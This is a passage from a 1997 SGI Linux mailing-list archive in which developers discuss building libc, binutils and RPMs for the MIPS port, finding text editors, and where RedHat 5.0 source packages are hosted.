Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id LAA08487 for linux-list; Fri, 28 Nov 1997 11:56:32 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id LAA08475 for <linux@engr.sgi.com>; Fri, 28 Nov 1997 11:56:29 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id LAA15690
	for <linux@engr.sgi.com>; Fri, 28 Nov 1997 11:55:55 -0800
	env-from (ralf@uni-koblenz.de)
From: ralf@uni-koblenz.de
Received: from uni-koblenz.de (ralf@pmport-15.uni-koblenz.de [141.26.249.15])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id UAA07348
	for <linux@engr.sgi.com>; Fri, 28 Nov 1997 20:55:40 +0100 (MET)
Received: (from ralf@localhost)
	by uni-koblenz.de (8.8.7/8.8.7) id UAA13866;
	Fri, 28 Nov 1997 20:52:25 +0100
Message-ID: <19971128205225.54864@uni-koblenz.de>
Date: Fri, 28 Nov 1997 20:52:25 +0100
To: linux-mips@fnet.fr, linux@cthulhu.engr.sgi.com
Subject: Re: libg++
References: <19971128145912.03440@thoma.uni-koblenz.de> <Pine.LNX.3.95.971128125533.22329A-100000@ravage.labs.gmu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
In-Reply-To: <Pine.LNX.3.95.971128125533.22329A-100000@ravage.labs.gmu.edu>; from Ryan on Fri, Nov 28, 1997 at 12:57:27PM -0500
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 304
Lines: 9

On Fri, Nov 28, 1997 at 12:57:27PM -0500, Ryan wrote:

> That's funny... I've been using C++ programs linked to libg++ since
> august.  Of course, I had to compile my own libg++, but it works... Which
> version are you using?

The RedHat package libg++-2.7.2.8-6.src.rpm.  Builds out of the box.

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Fri Nov 28 19:59:10 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id TAA576549 for <linux-archive@neteng.engr.sgi.com>; Fri, 28 Nov 1997 19:59:10 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id TAA17164 for linux-list; Fri, 28 Nov 1997 19:54:53 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id TAA17156 for <linux@cthulhu.engr.sgi.com>; Fri, 28 Nov 1997 19:54:42 -0800
Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id TAA24169
	for <linux@cthulhu.engr.sgi.com>; Fri, 28 Nov 1997 19:54:39 -0800
	env-from (adevries@engsoc.carleton.ca)
Received: from localhost (adevries@localhost)
	by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id WAA19303;
	Fri, 28 Nov 1997 22:51:48 -0500
Date: Fri, 28 Nov 1997 22:51:47 -0500 (EST)
From: Alex deVries <adevries@engsoc.carleton.ca>
To: Ralf Baechle <ralf@uni-koblenz.de>
cc: linux@cthulhu.engr.sgi.com
Subject: Re: Bintuils
In-Reply-To: <19971128161036.24017@thoma.uni-koblenz.de>
Message-ID: <Pine.LNX.3.95.971128224354.4228B-100000@lager.engsoc.carleton.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 620
Lines: 19


On Fri, 28 Nov 1997, Ralf Baechle wrote:
> In that case you are probably the victim of an older libc.  I'll rebuild
> libc for my sources for big endian machines asap.

libc and glibc binary RPMs would be appreciated. How about gcc and
binutils for big endian as well?

Okay.  I'm getting somewhere now.  I know I'm behind most people, but my
system now boots with a local root.

Does anyone have an editor?  It's a bit of a pain to have to FTP things
over to my i386 box, change, and re-FTP.

I'm attempting to build some more RPMs, but I'm hitting some snags with my
setup. Details as they become available... 

- A


From owner-linux@cthulhu.engr.sgi.com  Fri Nov 28 20:54:09 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id UAA579876 for <linux-archive@neteng.engr.sgi.com>; Fri, 28 Nov 1997 20:54:09 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id UAA21553 for linux-list; Fri, 28 Nov 1997 20:53:02 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id UAA21548 for <linux@cthulhu.engr.sgi.com>; Fri, 28 Nov 1997 20:52:59 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id UAA01282
	for <linux@cthulhu.engr.sgi.com>; Fri, 28 Nov 1997 20:52:58 -0800
	env-from (ralf@uni-koblenz.de)
From: ralf@uni-koblenz.de
Received: from uni-koblenz.de (ralf@pmport-12.uni-koblenz.de [141.26.249.12])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id FAA25569
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 05:52:55 +0100 (MET)
Received: (from ralf@localhost)
	by uni-koblenz.de (8.8.7/8.8.7) id FAA17364;
	Sat, 29 Nov 1997 05:49:28 +0100
Message-ID: <19971129054928.36122@uni-koblenz.de>
Date: Sat, 29 Nov 1997 05:49:28 +0100
To: Alex deVries <adevries@engsoc.carleton.ca>
Cc: linux@cthulhu.engr.sgi.com
Subject: Re: Bintuils
References: <19971128161036.24017@thoma.uni-koblenz.de> <Pine.LNX.3.95.971128224354.4228B-100000@lager.engsoc.carleton.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
In-Reply-To: <Pine.LNX.3.95.971128224354.4228B-100000@lager.engsoc.carleton.ca>; from Alex deVries on Fri, Nov 28, 1997 at 10:51:47PM -0500
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 835
Lines: 21

On Fri, Nov 28, 1997 at 10:51:47PM -0500, Alex deVries wrote:

> On Fri, 28 Nov 1997, Ralf Baechle wrote:
> > In that case you are probably the victim of an older libc.  I'll rebuild
> > libc for my sources for big endian machines asap.
> 
> libc and glibc binary RPMs would be appreciated. How about gcc and
> binutils for big endian as well?

I'll upload them rsn.  Just give some more days.  My next upload will
probably again be 100mb or so, that takes a while to compile.  Also I
don't have a network connection at home that is suitable for pumping
gigs through the world, so that will suck additional time.

> Does anyone have an editor?  It's a bit of a pain to have to FTP things
> over to my i386 box, change, and re-FTP.

I'm pretty shure that I put a tarball with Elvis and several rpms with
other editors on Linus.

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Fri Nov 28 21:57:45 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id VAA582439 for <linux-archive@neteng.engr.sgi.com>; Fri, 28 Nov 1997 21:57:45 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id VAA25536 for linux-list; Fri, 28 Nov 1997 21:52:22 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id VAA25531 for <linux@cthulhu.engr.sgi.com>; Fri, 28 Nov 1997 21:52:12 -0800
Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id VAA08715
	for <linux@cthulhu.engr.sgi.com>; Fri, 28 Nov 1997 21:52:07 -0800
	env-from (adevries@engsoc.carleton.ca)
Received: from localhost (adevries@localhost)
	by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id AAA23940;
	Sat, 29 Nov 1997 00:49:34 -0500
Date: Sat, 29 Nov 1997 00:49:33 -0500 (EST)
From: Alex deVries <adevries@engsoc.carleton.ca>
To: ralf@uni-koblenz.de
cc: linux@cthulhu.engr.sgi.com
Subject: Re: Bintuils
In-Reply-To: <19971129054928.36122@uni-koblenz.de>
Message-ID: <Pine.LNX.3.95.971129004253.21890A-100000@lager.engsoc.carleton.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 1114
Lines: 26


On Sat, 29 Nov 1997 ralf@uni-koblenz.de wrote:
> On Fri, Nov 28, 1997 at 10:51:47PM -0500, Alex deVries wrote:
> > libc and glibc binary RPMs would be appreciated. How about gcc and
> > binutils for big endian as well?
> I'll upload them rsn.  Just give some more days.  My next upload will
> probably again be 100mb or so, that takes a while to compile.  Also I

Cool!  Now that things are working a bit better on my box, I'm a little
more eager to get things running smoothly.

> > Does anyone have an editor?  It's a bit of a pain to have to FTP things
> > over to my i386 box, change, and re-FTP.
> I'm pretty shure that I put a tarball with Elvis and several rpms with
> other editors on Linus.

Uh, could you let me know where?  I couldn't find either. The only RPMs
are ed(no, please, don't make me)  and the broken version of joe.

I've had SRPMs of RedHat 5.0 (Hurricane) for a couple of days, so when I
get my build system running well, it'll churn out the upgraded RPMs.
Having compiled a few things this evening, I can tell you it'll take a
long time.  The 4600 isn't as fast as I'd thought.

- Alex


From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 04:04:46 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id EAA603580 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 04:04:46 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id DAA23319 for linux-list; Sat, 29 Nov 1997 03:58:46 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id DAA23314 for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 03:58:35 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id DAA26445
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 03:58:34 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id LAA07204; Sat, 29 Nov 1997 11:58:12 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xblXX-0005FsC; Sat, 29 Nov 97 11:58 GMT
Message-Id: <m0xblXX-0005FsC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Re: Bintuils
To: adevries@engsoc.carleton.ca (Alex deVries)
Date: Sat, 29 Nov 1997 11:58:26 +0000 (GMT)
Cc: ralf@uni-koblenz.de, linux@cthulhu.engr.sgi.com
In-Reply-To: <Pine.LNX.3.95.971128224354.4228B-100000@lager.engsoc.carleton.ca> from "Alex deVries" at Nov 28, 97 10:51:47 pm
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 192
Lines: 7

> Does anyone have an editor?  It's a bit of a pain to have to FTP things
> over to my i386 box, change, and re-FTP.

There is an nvi and a joe rpm on ftp.uk.linux.org as well as "ed".

Alan


From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 04:05:11 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id EAA604865 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 04:05:11 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id EAA23587 for linux-list; Sat, 29 Nov 1997 04:01:12 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id EAA23583 for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 04:01:10 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id EAA26809
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 04:01:09 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id MAA07402; Sat, 29 Nov 1997 12:00:55 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xbla9-0005FsC; Sat, 29 Nov 97 12:01 GMT
Message-Id: <m0xbla9-0005FsC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Re: Bintuils
To: adevries@engsoc.carleton.ca (Alex deVries)
Date: Sat, 29 Nov 1997 12:01:09 +0000 (GMT)
Cc: ralf@uni-koblenz.de, linux@cthulhu.engr.sgi.com
In-Reply-To: <Pine.LNX.3.95.971129004253.21890A-100000@lager.engsoc.carleton.ca> from "Alex deVries" at Nov 29, 97 00:49:33 am
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 468
Lines: 11

> I've had SRPMs of RedHat 5.0 (Hurricane) for a couple of days, so when I
> get my build system running well, it'll churn out the upgraded RPMs.
> Having compiled a few things this evening, I can tell you it'll take a
> long time.  The 4600 isn't as fast as I'd thought.

If you have the tree from /devel you probably dont quite have final 5.0
We'll soon find out. My 5.0 CD should appear pretty soon and I'll mount
the SRMS directory of it somewhere for ftp.

Alan


From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 05:29:17 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id FAA609217 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 05:29:17 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id FAA27963 for linux-list; Sat, 29 Nov 1997 05:24:29 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id FAA27958 for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 05:24:23 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA05532
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 05:24:22 -0800
	env-from (ralf@uni-koblenz.de)
From: ralf@uni-koblenz.de
Received: from uni-koblenz.de (ralf@pmport-30.uni-koblenz.de [141.26.249.30])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id OAA04397
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 14:24:20 +0100 (MET)
Received: (from ralf@localhost)
	by uni-koblenz.de (8.8.7/8.8.7) id OAA19417;
	Sat, 29 Nov 1997 14:20:52 +0100
Message-ID: <19971129142051.36299@uni-koblenz.de>
Date: Sat, 29 Nov 1997 14:20:51 +0100
To: Alex deVries <adevries@engsoc.carleton.ca>
Cc: linux@cthulhu.engr.sgi.com
Subject: Re: Bintuils
References: <19971129054928.36122@uni-koblenz.de> <Pine.LNX.3.95.971129004253.21890A-100000@lager.engsoc.carleton.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
In-Reply-To: <Pine.LNX.3.95.971129004253.21890A-100000@lager.engsoc.carleton.ca>; from Alex deVries on Sat, Nov 29, 1997 at 12:49:33AM -0500
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 1543
Lines: 34

On Sat, Nov 29, 1997 at 12:49:33AM -0500, Alex deVries wrote:

> On Sat, 29 Nov 1997 ralf@uni-koblenz.de wrote:
> > On Fri, Nov 28, 1997 at 10:51:47PM -0500, Alex deVries wrote:
> > > libc and glibc binary RPMs would be appreciated. How about gcc and
> > > binutils for big endian as well?
> > I'll upload them rsn.  Just give some more days.  My next upload will
> > probably again be 100mb or so, that takes a while to compile.  Also I
> 
> Cool!  Now that things are working a bit better on my box, I'm a little
> more eager to get things running smoothly.

I just started rebuilding libc.  Boy, I didn't know that the last published
version of libc was that buggy.  *grin innocent*

> > > Does anyone have an editor?  It's a bit of a pain to have to FTP things
> > > over to my i386 box, change, and re-FTP.
> > I'm pretty shure that I put a tarball with Elvis and several rpms with
> > other editors on Linus.
> 
> Uh, could you let me know where?  I couldn't find either. The only RPMs
> are ed(no, please, don't make me)  and the broken version of joe.

Also to be released: Eeekmacs 19.34 tty and X version.

> I've had SRPMs of RedHat 5.0 (Hurricane) for a couple of days, so when I
> get my build system running well, it'll churn out the upgraded RPMs.
> Having compiled a few things this evening, I can tell you it'll take a
> long time.  The 4600 isn't as fast as I'd thought.

I can't get rid of the feeling that performancewise something is very wrong 
with the Indy code.  My R4600 box feels faster than the R5000 Indy.

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 05:34:17 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id FAA606259 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 05:34:17 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id FAA28568 for linux-list; Sat, 29 Nov 1997 05:33:41 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id FAA28563 for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 05:33:39 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA06362
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 05:33:38 -0800
	env-from (ralf@uni-koblenz.de)
From: ralf@uni-koblenz.de
Received: from uni-koblenz.de (ralf@pmport-30.uni-koblenz.de [141.26.249.30])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id OAA04534
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 14:33:36 +0100 (MET)
Received: (from ralf@localhost)
	by uni-koblenz.de (8.8.7/8.8.7) id OAA19469;
	Sat, 29 Nov 1997 14:30:12 +0100
Message-ID: <19971129143012.19829@uni-koblenz.de>
Date: Sat, 29 Nov 1997 14:30:12 +0100
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Cc: Alex deVries <adevries@engsoc.carleton.ca>, linux@cthulhu.engr.sgi.com
Subject: Re: Bintuils
References: <Pine.LNX.3.95.971128224354.4228B-100000@lager.engsoc.carleton.ca> <m0xblXX-0005FsC@lightning.swansea.linux.org.uk>
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
	micalg=pgp-md5; boundary=oiEqYs2KFztAG8eR
X-Mailer: Mutt 0.85
In-Reply-To: <m0xblXX-0005FsC@lightning.swansea.linux.org.uk>; from Alan Cox on Sat, Nov 29, 1997 at 11:58:26AM +0000
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 885
Lines: 32


--oiEqYs2KFztAG8eR
Content-Type: text/plain; charset=us-ascii

On Sat, Nov 29, 1997 at 11:58:26AM +0000, Alan Cox wrote:

> > Does anyone have an editor?  It's a bit of a pain to have to FTP things
> > over to my i386 box, change, and re-FTP.
> 
> There is an nvi and a joe rpm on ftp.uk.linux.org as well as "ed".

While I'll stick with the king of Rock'n'Roll, I've uploaded a patchfile
for Emacs to /pub/src/misc/emacs-19.34-mips.patch.gz.

  Ralf

59f4b927f47268e7fdb0fe15c7d6d9c7  emacs-19.34-mips.patch.gz

--oiEqYs2KFztAG8eR
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i

iQCVAwUBNIAY5Eckbl6vezDBAQFZbQP+O4xv14OhcM4rlzodh8K8FJJNIb23l7D8
ThkT1+3mhLPyeA9fHhlqiq+S4KRw1E0e3mce/TVktRGJR73Ebxc8MJ7eRejsWifj
+bX3ogXS0Rz8Uy0neESnddn8nSvHmt2LeGKXsRN/L7GK56hU35nnyRqfZ+fKqbQk
65Gv7HlizXQ=
=pLpu
-----END PGP SIGNATURE-----

--oiEqYs2KFztAG8eR--

From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 09:37:03 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id JAA622837 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 09:37:03 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id JAA12683 for linux-list; Sat, 29 Nov 1997 09:31:44 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id JAA12678 for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 09:31:41 -0800
Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id JAA03767
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 09:31:40 -0800
	env-from (adevries@engsoc.carleton.ca)
Received: from localhost (adevries@localhost)
	by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id MAA14622;
	Sat, 29 Nov 1997 12:28:37 -0500
Date: Sat, 29 Nov 1997 12:28:36 -0500 (EST)
From: Alex deVries <adevries@engsoc.carleton.ca>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
cc: linux@cthulhu.engr.sgi.com
Subject: Re: Bintuils
In-Reply-To: <m0xbla9-0005FsC@lightning.swansea.linux.org.uk>
Message-ID: <Pine.LNX.3.95.971129122644.207I-100000@lager.engsoc.carleton.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 703
Lines: 16


On Sat, 29 Nov 1997, Alan Cox wrote:
> > I've had SRPMs of RedHat 5.0 (Hurricane) for a couple of days, so when I
> > get my build system running well, it'll churn out the upgraded RPMs.
> > Having compiled a few things this evening, I can tell you it'll take a
> > long time.  The 4600 isn't as fast as I'd thought.
> If you have the tree from /devel you probably dont quite have final 5.0
> We'll soon find out. My 5.0 CD should appear pretty soon and I'll mount
> the SRMS directory of it somewhere for ftp.

Seeing as how I actually have the CD in my hand of the SRPMs, I'm quite
sure I have the final ones.  They'll be in
ftp://ftp.engsoc.carleton.ca/pub/redhat-5.0 by the end of my day.

- Alex


From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 09:52:35 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id JAA623483 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 09:52:35 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id JAA14198 for linux-list; Sat, 29 Nov 1997 09:46:29 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id JAA14179 for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 09:46:14 -0800
Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id JAA05492
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 09:46:13 -0800
	env-from (adevries@engsoc.carleton.ca)
Received: from localhost (adevries@localhost)
	by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id MAA15384;
	Sat, 29 Nov 1997 12:43:24 -0500
Date: Sat, 29 Nov 1997 12:43:23 -0500 (EST)
From: Alex deVries <adevries@engsoc.carleton.ca>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
cc: ralf@uni-koblenz.de, linux@cthulhu.engr.sgi.com
Subject: Re: Bintuils
In-Reply-To: <m0xblXX-0005FsC@lightning.swansea.linux.org.uk>
Message-ID: <Pine.LNX.3.95.971129124118.207K-100000@lager.engsoc.carleton.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 348
Lines: 13

On Sat, 29 Nov 1997, Alan Cox wrote:

> There is an nvi and a joe rpm on ftp.uk.linux.org as well as "ed".

And vim, and apache, and bash...  very cool.  I didn't know there were all
thos packages there.

Does anyone have any objections if I put all those RPMs on
ftp.linux.sgi.com ?  It would save folks from having to look in two
places...

- A


From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 10:44:38 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id KAA624953 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 10:44:38 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id KAA18827 for linux-list; Sat, 29 Nov 1997 10:43:17 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id KAA18805 for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 10:43:06 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id KAA11960
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 10:43:05 -0800
	env-from (ralf@mailhost.uni-koblenz.de)
Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with SMTP id TAA10233;
	Sat, 29 Nov 1997 19:41:57 +0100 (MET)
Received: by thoma (SMI-8.6/KO-2.0)
	id TAA14012; Sat, 29 Nov 1997 19:41:56 +0100
Message-ID: <19971129194155.18005@thoma.uni-koblenz.de>
Date: Sat, 29 Nov 1997 19:41:55 +0100
From: Ralf Baechle <ralf@uni-koblenz.de>
To: Alex deVries <adevries@engsoc.carleton.ca>
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>, ralf@mailhost.uni-koblenz.de,
        linux@cthulhu.engr.sgi.com
Subject: Re: Bintuils
References: <m0xblXX-0005FsC@lightning.swansea.linux.org.uk> <Pine.LNX.3.95.971129124118.207K-100000@lager.engsoc.carleton.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.84e
In-Reply-To: <Pine.LNX.3.95.971129124118.207K-100000@lager.engsoc.carleton.ca>; from Alex deVries on Sat, Nov 29, 1997 at 12:43:23PM -0500
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 442
Lines: 14

On Sat, Nov 29, 1997 at 12:43:23PM -0500, Alex deVries wrote:

